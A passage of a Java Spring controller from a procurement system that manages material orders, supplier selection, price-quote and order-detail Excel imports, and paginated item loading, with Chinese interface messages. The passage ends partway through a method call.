import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import com.vverp.util.ExcelImportErrorUtil;
|
||||
import org.apache.commons.lang.BooleanUtils;
|
||||
import org.springframework.beans.BeanUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.net.URLEncoder;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020-03-25 16:50
|
||||
*/
|
||||
@Controller
|
||||
@RequestMapping("/admin/materialOrder")
|
||||
public class MaterialOrderController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private MaterialOrderService materialOrderService;
|
||||
|
||||
@Resource
|
||||
private PurchaseStockService purchaseStockService;
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@Resource
|
||||
private OrderTool orderTool;
|
||||
|
||||
@Resource
|
||||
private MaterialOrderItemService materialOrderItemService;
|
||||
|
||||
@Resource
|
||||
private SystemSettingService systemSettingService;
|
||||
|
||||
@Resource
|
||||
private DepartmentService departmentService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private ProductService productService;
|
||||
|
||||
@Resource
|
||||
private MaterialOrderItemPriceService materialOrderItemPriceService;
|
||||
|
||||
@Resource
|
||||
private ExtraFieldService extraFieldService;
|
||||
|
||||
@Resource
|
||||
private ProductTypeService productTypeService;
|
||||
|
||||
@Resource
|
||||
private FlowSnService flowSnService;
|
||||
|
||||
@Resource
|
||||
private MaterialOrderStageService materialOrderStageService;
|
||||
|
||||
@Resource
|
||||
private PurchaseApplyOrderService purchaseApplyOrderService;
|
||||
|
||||
@Resource
|
||||
private ProgressService progressService;
|
||||
|
||||
@Resource
|
||||
private SupplierProductService supplierProductService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap, Pageable pageable, OrderQuery orderQuery,String pageType,Long progressId) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
orderQuery.setProgressId(progressId == null?admin.getNowProgress():progressId);
|
||||
modelMap.addAttribute("progressId",progressId);
|
||||
modelMap.addAttribute("progressList",progressService.findAll());
|
||||
if (admin.getNowProgress() == null) {
|
||||
modelMap.addAttribute("company",true);
|
||||
}else {
|
||||
modelMap.addAttribute("company",false);
|
||||
}
|
||||
orderQuery.setVisibleCompanyIdsStr(adminService.getCurrent().getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(adminService.getCurrent().getVisibleDepartmentIdsStr());
|
||||
orderTool.listCommonAttr(modelMap, pageable, orderQuery, MaterialOrder.class, materialOrderService, materialOrderItemService);
|
||||
// modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
// modelMap.addAttribute("contractTypes", ContractType.values());
|
||||
// modelMap.addAttribute("contractType", orderQuery.getContractType());
|
||||
modelMap.addAttribute("productList", productService.findAll());
|
||||
modelMap.addAttribute("type", orderQuery.getMaterialType());
|
||||
modelMap.addAttribute("pageType",pageType);
|
||||
// modelMap.addAttribute("adminId",admin.getId());
|
||||
Page<MaterialOrder> page = (Page<MaterialOrder>) modelMap.get("page");
|
||||
Map<Long,String> map = new HashMap<>();
|
||||
for (MaterialOrder materialOrder : page.getContent()){
|
||||
MaterialOrderStockTypeCountSumDto countDto = materialOrderItemService.countStockTypeByVersionNum(materialOrder.getVersionNum(), materialOrder.getId());
|
||||
Long nowCount = countDto.getTotalCount();
|
||||
Long allCount = countDto.getAllCount();
|
||||
if (allCount.equals(nowCount)){
|
||||
map.put(materialOrder.getId(),"已订货");
|
||||
}else {
|
||||
if (allCount>0){
|
||||
map.put(materialOrder.getId(),"部分订货");
|
||||
continue;
|
||||
}
|
||||
Long noneCount = countDto.getNoneCount();
|
||||
if (noneCount < nowCount){
|
||||
map.put(materialOrder.getId(),"部分订货");
|
||||
}else {
|
||||
map.put(materialOrder.getId(),"未订货");
|
||||
}
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("map",map);
|
||||
return "/materialOrder/" + orderQuery.getMaterialType().name() + "/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add(ModelMap modelMap, MaterialOrder.Type type) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
orderTool.addCommonAttr(modelMap, OrderCategory.purchase);
|
||||
modelMap.addAttribute("type", type);
|
||||
modelMap.addAttribute("progressId", admin.getNowProgress());
|
||||
if (type.equals(MaterialOrder.Type.device)) {
|
||||
modelMap.addAttribute("productList", productService.findByType(Product.Type.device));
|
||||
} else {
|
||||
modelMap.addAttribute("productList", productService.findByType(Product.Type.conduit));
|
||||
}
|
||||
return "/materialOrder/" + type.name() + "/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public String view(ModelMap modelMap, Long id, Integer nowVersion, Integer oldVersion, Boolean showDifferent, String key, String value) {
|
||||
modelMap.addAttribute("key",key==null?" ":key);
|
||||
modelMap.addAttribute("value",value);
|
||||
MaterialOrder materialOrder = materialOrderService.find(id);
|
||||
if (nowVersion == null) {
|
||||
nowVersion = materialOrder.getVersionNum();
|
||||
}
|
||||
List<MaterialOrderItem> itemList = materialOrderItemService.findByVersionNum(materialOrder.getVersionNum(), id);
|
||||
materialOrder.setMaterialOrderItemList(itemList);
|
||||
// List<MaterialOrderItem> itemList = materialOrderItemService.findByVersionNum(nowVersion, id);
|
||||
// Map<Integer, Object> map = new HashMap<>();
|
||||
// if (showDifferent != null && showDifferent) {
|
||||
// List<MaterialOrderItem> oldList = materialOrderItemService.findByVersionNum(oldVersion, id);
|
||||
// for (MaterialOrderItem orderItem : oldList) {
|
||||
// map.put(orderItem.getInd(), orderItem);
|
||||
// }
|
||||
// }
|
||||
// modelMap.addAttribute("map", map);
|
||||
// if (itemList.size() > 20) {
|
||||
//// materialOrder.setMaterialOrderItemList(itemList);
|
||||
// materialOrder.setMaterialOrderItemList(itemList.subList(0, 20));
|
||||
// } else {
|
||||
// materialOrder.setMaterialOrderItemList(itemList);
|
||||
// }
|
||||
// materialOrder.setMaterialOrderItemList(itemList);
|
||||
List<Integer> versionList = new ArrayList<>();
|
||||
List<Integer> allVersionList = new ArrayList<>();
|
||||
for (Integer i = nowVersion; i >= 0; i--) {
|
||||
versionList.add(i);
|
||||
}
|
||||
for (Integer i = materialOrder.getVersionNum(); i >= 0; i--) {
|
||||
allVersionList.add(i);
|
||||
}
|
||||
Admin admin = adminService.getCurrent();
|
||||
List<AdminPurchase> adminPurchaseList = admin.getAdminPurchaseList();
|
||||
List<Long> showList = new ArrayList<>();
|
||||
for (AdminPurchase adminPurchase : adminPurchaseList){
|
||||
for (AdminPurchaseProductType adminPurchaseProductType : adminPurchase.getAdminPurchaseProductTypeList()) {
|
||||
showList.add(adminPurchaseProductType.getProductType().getId());
|
||||
}
|
||||
// showList.add(adminPurchase.getProductType().getId());
|
||||
}
|
||||
CompanyQuery companyQuery = new CompanyQuery();
|
||||
companyQuery.setProgressId(adminService.getCurrent().getNowProgress());
|
||||
modelMap.addAttribute("supplierList", supplierService.findList(companyQuery));
|
||||
modelMap.addAttribute("versionList", versionList);
|
||||
modelMap.addAttribute("allVersionList", allVersionList);
|
||||
modelMap.addAttribute("oldVersion", oldVersion);
|
||||
modelMap.addAttribute("nowVersion", nowVersion);
|
||||
modelMap.addAttribute("materialOrder", materialOrder);
|
||||
modelMap.addAttribute("type", materialOrder.getType());
|
||||
modelMap.addAttribute("showDifferent", BooleanUtils.isTrue(showDifferent));
|
||||
modelMap.addAttribute("adminPurchaseList",showList);
|
||||
return "/materialOrder/" + materialOrder.getType().name() + "/view";
|
||||
}
|
||||
|
||||
|
||||
//评标进的详情页,显示数据不同
|
||||
@RequestMapping("/bidView")
|
||||
public String bidView(ModelMap modelMap, Long id, Integer nowVersion, Integer oldVersion, Boolean showDifferent, String key, String value) {
|
||||
modelMap.addAttribute("key",key==null?" ":key);
|
||||
modelMap.addAttribute("value",value);
|
||||
MaterialOrder materialOrder = materialOrderService.find(id);
|
||||
if (nowVersion == null) {
|
||||
nowVersion = materialOrder.getVersionNum();
|
||||
}
|
||||
List<MaterialOrderItem> itemList = materialOrderItemService.findByVersionNum(materialOrder.getVersionNum(), id);
|
||||
materialOrder.setMaterialOrderItemList(itemList);
|
||||
// List<MaterialOrderItem> itemList = materialOrderItemService.findByVersionNum(nowVersion, id);
|
||||
// Map<Integer, Object> map = new HashMap<>();
|
||||
// if (showDifferent != null && showDifferent) {
|
||||
// List<MaterialOrderItem> oldList = materialOrderItemService.findByVersionNum(oldVersion, id);
|
||||
// for (MaterialOrderItem orderItem : oldList) {
|
||||
// map.put(orderItem.getInd(), orderItem);
|
||||
// }
|
||||
// }
|
||||
// modelMap.addAttribute("map", map);
|
||||
// if (itemList.size() > 20) {
|
||||
//// materialOrder.setMaterialOrderItemList(itemList);
|
||||
// materialOrder.setMaterialOrderItemList(itemList.subList(0, 20));
|
||||
// } else {
|
||||
// materialOrder.setMaterialOrderItemList(itemList);
|
||||
// }
|
||||
// materialOrder.setMaterialOrderItemList(itemList);
|
||||
List<Integer> versionList = new ArrayList<>();
|
||||
List<Integer> allVersionList = new ArrayList<>();
|
||||
for (Integer i = nowVersion; i >= 0; i--) {
|
||||
versionList.add(i);
|
||||
}
|
||||
for (Integer i = materialOrder.getVersionNum(); i >= 0; i--) {
|
||||
allVersionList.add(i);
|
||||
}
|
||||
Admin admin = adminService.getCurrent();
|
||||
List<AdminPurchase> adminPurchaseList = admin.getAdminPurchaseList();
|
||||
List<Long> showList = new ArrayList<>();
|
||||
for (AdminPurchase adminPurchase : adminPurchaseList){
|
||||
for (AdminPurchaseProductType adminPurchaseProductType : adminPurchase.getAdminPurchaseProductTypeList()) {
|
||||
showList.add(adminPurchaseProductType.getProductType().getId());
|
||||
}
|
||||
// showList.add(adminPurchase.getProductType().getId());
|
||||
}
|
||||
CompanyQuery companyQuery = new CompanyQuery();
|
||||
companyQuery.setProgressId(adminService.getCurrent().getNowProgress());
|
||||
modelMap.addAttribute("supplierList", supplierService.findList(companyQuery));
|
||||
modelMap.addAttribute("versionList", versionList);
|
||||
modelMap.addAttribute("allVersionList", allVersionList);
|
||||
modelMap.addAttribute("oldVersion", oldVersion);
|
||||
modelMap.addAttribute("nowVersion", nowVersion);
|
||||
modelMap.addAttribute("materialOrder", materialOrder);
|
||||
modelMap.addAttribute("type", materialOrder.getType());
|
||||
modelMap.addAttribute("showDifferent", BooleanUtils.isTrue(showDifferent));
|
||||
modelMap.addAttribute("adminPurchaseList",showList);
|
||||
return "/materialOrder/" + materialOrder.getType().name() + "/bidView";
|
||||
}
|
||||
|
||||
@RequestMapping("/edit")
|
||||
public String edit(ModelMap modelMap, Long id) {
|
||||
orderTool.addCommonAttr(modelMap, OrderCategory.purchase);
|
||||
MaterialOrder materialOrder = materialOrderService.find(id);
|
||||
List<MaterialOrderItem> itemList = materialOrderItemService.findByVersionNum(materialOrder.getVersionNum(), id);
|
||||
if (itemList.size() > 20) {
|
||||
// materialOrder.setMaterialOrderItemList(itemList);
|
||||
materialOrder.setMaterialOrderItemList(itemList.subList(0, 20));
|
||||
} else {
|
||||
materialOrder.setMaterialOrderItemList(itemList);
|
||||
}
|
||||
modelMap.addAttribute("materialOrder", materialOrder);
|
||||
modelMap.addAttribute("type", materialOrder.getType());
|
||||
|
||||
if (materialOrder.getType().equals(MaterialOrder.Type.device)) {
|
||||
modelMap.addAttribute("productList", productService.findByType(Product.Type.device));
|
||||
} else {
|
||||
modelMap.addAttribute("productList", productService.findByType(Product.Type.conduit));
|
||||
}
|
||||
return "/materialOrder/" + materialOrder.getType().name() + "/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(MaterialOrder materialOrder,Long progressId) {
|
||||
try {
|
||||
materialOrder.setVersionNum(0);
|
||||
Progress progress = progressService.find(progressId);
|
||||
if (progress != null){
|
||||
materialOrder.setProgressCode(progress.getCode());
|
||||
materialOrder.setProgressName(progress.getName());
|
||||
}else {
|
||||
materialOrder.setProgressName("公司");
|
||||
}
|
||||
materialOrderService.saveMaterialOrder(materialOrder);
|
||||
return RespData.success("保存成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(MaterialOrder materialOrder) {
|
||||
try {
|
||||
materialOrderService.updateMaterialOrder(materialOrder);
|
||||
return RespData.success("保存成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/updateDevice")
|
||||
@ResponseBody
|
||||
public RespData updateDevice(MaterialOrder materialOrder) {
|
||||
try {
|
||||
materialOrderService.updateDevice(materialOrder);
|
||||
return RespData.success("保存成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping("/delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long[] ids) {
|
||||
materialOrderService.deleteEntity(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
// @RequestMapping("/exportSupplier")
|
||||
// public void exportSupplier(HttpServletResponse response, Long id) throws Exception {
|
||||
// materialOrderService.exportSupplier(response, id);
|
||||
// }
|
||||
|
||||
@RequestMapping("dialog/addPrice")
|
||||
public String dialogAddPrice(Long id, ModelMap modelMap) {
|
||||
modelMap.addAttribute("id", id);
|
||||
return "materialOrder/dialog/addPrice";
|
||||
}
|
||||
|
||||
@RequestMapping("addPrice")
|
||||
public String addPrice(Long id, ModelMap modelMap) {
|
||||
modelMap.addAttribute("id", id);
|
||||
return "materialOrder/addPrice";
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/priceView")
|
||||
public String dialogPriceView(Long id, ModelMap modelMap) {
|
||||
MaterialOrderItem item = materialOrderItemService.find(id);
|
||||
List<MaterialOrderItemPrice> list = new ArrayList<>();
|
||||
List<MaterialOrderItemPrice> allList = item.getMaterialOrderItemPriceList();
|
||||
for (MaterialOrderItemPrice itemPrice : allList) {
|
||||
if (item.getSupplierIds().contains(itemPrice.getSupplierId())) {
|
||||
list.add(itemPrice);
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("list", list);
|
||||
return "materialOrder/dialog/priceView";
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入报价单
|
||||
*/
|
||||
@RequestMapping(value = "/uploadExcel", method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public RespData uploadExcel(MultipartFile file) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xls") && !fileName.endsWith("xlsx")) {
|
||||
if (!fileName.endsWith("zip")) {
|
||||
return RespData.error("请导入excel或者zip文件");
|
||||
}else {
|
||||
materialOrderItemPriceService.loadZip(file);
|
||||
return RespData.success("导入成功");
|
||||
}
|
||||
}else {
|
||||
try {
|
||||
materialOrderItemPriceService.ExcelSendData(file);
|
||||
return RespData.success("导入成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("confirmSupplier")
|
||||
@ResponseBody
|
||||
public RespData confirmSupplier(Long id) {
|
||||
materialOrderItemPriceService.confirmSupplier(id);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addFile")
|
||||
public String dialogAddFile(ModelMap modelMap) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("adminId", admin.getId());
|
||||
modelMap.addAttribute("stageList",materialOrderStageService.findListByAttribute("progressId",admin.getNowProgress()));
|
||||
return "materialOrder/dialog/addFile";
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addDeviceFile")
|
||||
public String dialogAddDeviceFile(ModelMap modelMap) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("adminId", admin.getId());
|
||||
modelMap.addAttribute("stageList",materialOrderStageService.findListByAttribute("progressId",admin.getNowProgress()));
|
||||
return "materialOrder/dialog/addDeviceFile";
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/updateFile")
|
||||
public String dialogAddFile(ModelMap modelMap, Long orderId) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
// MaterialOrder materialOrder = materialOrderService.find(orderId);
|
||||
modelMap.addAttribute("adminId", admin.getId());
|
||||
modelMap.addAttribute("orderId", orderId);
|
||||
// modelMap.addAttribute("stage", materialOrder.getStage());
|
||||
modelMap.addAttribute("stageList",materialOrderStageService.findAll());
|
||||
return "materialOrder/dialog/updateFile";
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入明细表页面中 根据前缀和阶段找以往阶段的料单
|
||||
*/
|
||||
@RequestMapping(value = "/findPrevStageListDialog")
|
||||
public String findPrevStageListDialog(ModelMap modelMap, Long adminId, String preTitle, Long stage) {
|
||||
modelMap.addAttribute("materialOrderList", materialOrderService.findPrevStageList(adminId, preTitle, stage));
|
||||
return "materialOrder/dialog/findPrevStageListDialog";
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 导入明细表
|
||||
*/
|
||||
@RequestMapping(value = "/uploadOrderExcel")
|
||||
@ResponseBody
|
||||
public RespData uploadOrderExcel(MultipartFile file, Long adminId, String preTitle, Integer flowNum, String code, Long orderId, Long stage,String memo,String upReason,String name) {
|
||||
if (orderId == null) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
if (preTitle == null) {
|
||||
return RespData.error("前缀不能为空");
|
||||
}
|
||||
if (flowNum == null) {
|
||||
return RespData.error("流水号不能为空");
|
||||
}
|
||||
if (stage == null) {
|
||||
return RespData.error("阶段不能为空");
|
||||
}
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xls") && !fileName.endsWith("xlsx")) {
|
||||
return RespData.error("不是excel文件");
|
||||
}
|
||||
try {
|
||||
System.out.println("开始导入文件");
|
||||
if (orderId == null) {
|
||||
Integer specialNum = materialOrderService.saveFile(file, adminId, preTitle, flowNum, code, stage,memo,name);
|
||||
if (specialNum >0){
|
||||
return RespData.warn("导入成功");
|
||||
}
|
||||
} else {
|
||||
materialOrderService.updateFile2(file, adminId, orderId,memo,upReason);
|
||||
}
|
||||
return RespData.success("导入成功");
|
||||
} catch (Exception e) {
|
||||
if (e instanceof ImportExcelException) {
|
||||
return ((ImportExcelException) e).getRespData();
|
||||
}
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("uploadResult")
|
||||
public String uploadResult(ModelMap modelMap){
|
||||
return "materialOrder/dialog/uploadResult";
|
||||
}
|
||||
|
||||
@RequestMapping("exportSpecial")
|
||||
public void exportSpecial(HttpServletResponse response) {
|
||||
try {
|
||||
materialOrderService.exportSpecial(response);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("uploadResult2")
|
||||
public String uploadResult(ModelMap modelMap,Integer successNum, Integer failNum, String importErrorExcel){
|
||||
modelMap.addAttribute("successNum",successNum);
|
||||
modelMap.addAttribute("failNum",failNum);
|
||||
modelMap.addAttribute("importErrorExcel",importErrorExcel);
|
||||
return "materialOrder/dialog/uploadResult2";
|
||||
}
|
||||
|
||||
@RequestMapping("exportNotFund")
|
||||
public void exportNotFund(String importErrorExcel, HttpServletResponse response) {
|
||||
try (ServletOutputStream outputStream = response.getOutputStream()) {
|
||||
response.setHeader("Content-Disposition", "attachment;filename=" + URLEncoder.encode("料单导入失败"+importErrorExcel,"UTF8"));
|
||||
ExcelImportErrorUtil.materialOrderGetFile(importErrorExcel, outputStream);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/uploadDeviceExcel")
|
||||
@ResponseBody
|
||||
public RespData uploadDeviceExcel(MultipartFile file, Long adminId, String preTitle, Integer flowNum, String code, Long orderId,Long stage,String name) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
if (preTitle == null){
|
||||
return RespData.error("前缀不能为空");
|
||||
}
|
||||
if (flowNum == null){
|
||||
return RespData.error("流水号不能为空");
|
||||
}
|
||||
if (stage == null){
|
||||
return RespData.error("阶段不能为空");
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xls") && !fileName.endsWith("xlsx")) {
|
||||
return RespData.error("不是excel文件");
|
||||
}
|
||||
try {
|
||||
System.out.println("开始导入文件");
|
||||
if (orderId == null) {
|
||||
materialOrderService.saveDeviceFile(file, adminId, preTitle, flowNum, code, stage,name);
|
||||
} else {
|
||||
// materialOrderService.updateDeviceFile(file, adminId,orderId,stage);
|
||||
}
|
||||
return RespData.success("导入成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/selectSupplier")
|
||||
public String dialogSelectSupplier(Long id, ModelMap modelMap,Long[] ids) {
|
||||
String idStr = "";
|
||||
if (ids != null) {
|
||||
for (Long idx : ids) {
|
||||
if (idx != null) {
|
||||
idStr = idStr + "" + idx + ";";
|
||||
}
|
||||
}
|
||||
}
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("id", id);
|
||||
modelMap.addAttribute("ids", idStr);
|
||||
modelMap.addAttribute("progressId", admin.getNowProgress());
|
||||
return "materialOrder/dialog/selectSupplier";
|
||||
}
|
||||
|
||||
@RequestMapping("selectSupplierIds")
|
||||
@ResponseBody
|
||||
public RespData selectSupplierIds(Long id, Integer number, Long progressId,String ids) {
|
||||
try {
|
||||
materialOrderService.selectSupplierIds(id, number, progressId,ids);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success("筛选成功");
|
||||
}
|
||||
|
||||
/** 确认供应商列表 */
|
||||
@RequestMapping("batchConfirmSupplierList")
|
||||
@ResponseBody
|
||||
public RespData batchConfirmSupplierList(Long id) {
|
||||
try {
|
||||
materialOrderItemService.batchConfirmSupplierList(id);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success("success");
|
||||
}
|
||||
@RequestMapping("confirmSupplierList")
|
||||
@ResponseBody
|
||||
public RespData confirmSupplierList(Long ids) {
|
||||
try {
|
||||
materialOrderItemService.confirmSupplierList(ids);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success("success");
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/changeSupplier")
|
||||
public String dialogChangeSupplier(Long id, ModelMap modelMap) {
|
||||
MaterialOrderItem materialOrderItem = materialOrderItemService.find(id);
|
||||
Admin admin = adminService.getCurrent();
|
||||
CompanyQuery companyQuery = new CompanyQuery();
|
||||
companyQuery.setProgressId(admin.getNowProgress());
|
||||
List<Supplier> supplierList = supplierService.findList(companyQuery);
|
||||
List<Supplier> resultList = new ArrayList<>();
|
||||
for (Supplier supplier : supplierList){
|
||||
for (SupplierProduct supplierProduct : supplier.getSupplierProductList()){
|
||||
if (supplierProductService.containProduct(supplierProduct,materialOrderItem)){
|
||||
resultList.add(supplier);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("id", id);
|
||||
modelMap.addAttribute("supplierList", resultList);
|
||||
MaterialOrderItem item = materialOrderItemService.find(id);
|
||||
modelMap.addAttribute("supplierIds", item.getSupplierIds());
|
||||
return "materialOrder/dialog/changeSupplier";
|
||||
}
|
||||
|
||||
@RequestMapping("changeSupplierList")
|
||||
@ResponseBody
|
||||
public RespData changeSupplierList(MaterialOrderItem item) {
|
||||
try {
|
||||
materialOrderService.changeSupplierList(item);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success("筛选成功");
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addApplyOrder")
|
||||
public String dialogAddApplyOrder(ModelMap modelMap, Long[] ids) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
String idStr = "";
|
||||
for (Long id : ids) {
|
||||
if (id != null) {
|
||||
idStr = idStr + "" + id + ";";
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("ids", idStr);
|
||||
modelMap.addAttribute("adminId", admin.getId());
|
||||
modelMap.addAttribute("bigTypeList", productTypeService.findListByAttribute("level", 1));
|
||||
modelMap.addAttribute("smallTypeList", productTypeService.findListByAttribute("level", 2));
|
||||
return "materialOrder/dialog/addApplyOrder";
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addPurchaseOrder")
|
||||
public String dialogAddPurchaseOrder(ModelMap modelMap, Long[] ids,String type) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
String idStr = "";
|
||||
for (Long id : ids) {
|
||||
if (id != null) {
|
||||
idStr = idStr + "" + id + ";";
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("ids", idStr);
|
||||
modelMap.addAttribute("adminId", admin.getId());
|
||||
modelMap.addAttribute("type", type);
|
||||
return "materialOrder/dialog/addPurchaseOrder";
|
||||
}
|
||||
|
||||
@RequestMapping("loadItem")
|
||||
@ResponseBody
|
||||
public RespData loadItem(Long id, Integer size) {
|
||||
MaterialOrder materialOrder = materialOrderService.find(id);
|
||||
List<ExtraField> extraFieldList = extraFieldService.list("materialOrderItem", materialOrder.getProgressId());
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
for (ExtraField extraField : extraFieldList) {
|
||||
map.put(extraField.getFieldName(), extraField.getAvailable());
|
||||
}
|
||||
List<MaterialOrderItem> itemList = materialOrderItemService.findByVersionNum(materialOrder.getVersionNum(), id);
|
||||
if (itemList.size() - size > 300) {
|
||||
map.put("list", itemList.subList(size, size + 300));
|
||||
map.put("loadFlag", true);
|
||||
return RespData.success(map);
|
||||
} else {
|
||||
map.put("loadFlag", false);
|
||||
map.put("list", itemList.subList(size, itemList.size()));
|
||||
return RespData.success(map);
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("loadDiffItem")
|
||||
@ResponseBody
|
||||
public RespData loadDiffItem(Long id, Integer nowSize, Integer nowVersion, Integer oldVersion, String productCode, String name, String areaAccount,
|
||||
String unitAccount, String siteAccount, String lineAccount, String codeType,
|
||||
String shortDescription, String longDescription, String gWeight, String totalWeight,
|
||||
String count, String unit, String bigProductType, String smallProductType,
|
||||
String diameterL, String diameterS, String wallThicknessL, String wallThicknessS,
|
||||
String size, String pressureLevel, String endFace, String material,
|
||||
String insulationCode, String specialRequest, String memo,String supplierNameList, String supplierName,
|
||||
String price,String bigProductDes,String smallProductDes,String makeCode,String makeName,String materialType) {
|
||||
MaterialOrder materialOrder = materialOrderService.find(id);
|
||||
if (materialOrder == null) {
|
||||
return RespData.error("料单不存在,id:"+id);
|
||||
}
|
||||
if (nowVersion == null) {
|
||||
nowVersion = materialOrder.getVersionNum();
|
||||
}
|
||||
Boolean showDifferent = null;
|
||||
if (oldVersion != null && !oldVersion.equals(nowVersion)) {
|
||||
showDifferent = true;
|
||||
}
|
||||
|
||||
List<ExtraField> extraFieldList = extraFieldService.list("materialOrderItem", materialOrder.getProgressId());
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
for (ExtraField extraField : extraFieldList) {
|
||||
map.put(extraField.getFieldName(), extraField.getAvailable());
|
||||
}
|
||||
// List<MaterialOrderItem> showItemList = materialOrderItemService.findByVersionNum(materialOrder.getVersionNum(), id);
|
||||
// List<MaterialOrderItem> list = new ArrayList<>();
|
||||
// if (showItemList.size() - nowSize > 40) {
|
||||
// list = showItemList.subList(nowSize, nowSize + 40);
|
||||
// map.put("loadFlag", true);
|
||||
// } else {
|
||||
// list = showItemList.subList(nowSize, showItemList.size());
|
||||
// map.put("loadFlag", false);
|
||||
// }
|
||||
|
||||
int pageSize = 100;
|
||||
Pageable pageable = new Pageable();
|
||||
pageable.setPageNumber(nowSize / pageSize + 1);
|
||||
pageable.setPageSize(pageSize);
|
||||
Page<MaterialOrderItem> page = materialOrderItemService.findByVersionNum(pageable, nowVersion, id);
|
||||
List<MaterialOrderItem> list = page.getContent();
|
||||
boolean loadFlag = (long) pageable.getPageNumber() * pageSize < page.getTotal();
|
||||
// map.put("loadFlag", list.size() == pageSize);
|
||||
map.put("loadFlag", loadFlag);
|
||||
list = materialOrderItemService.findSelect(list, productCode, name, areaAccount,
|
||||
unitAccount, siteAccount, lineAccount, codeType,
|
||||
shortDescription, longDescription, gWeight, totalWeight,
|
||||
count, unit, bigProductType, smallProductType,
|
||||
diameterL, diameterS, wallThicknessL, wallThicknessS,
|
||||
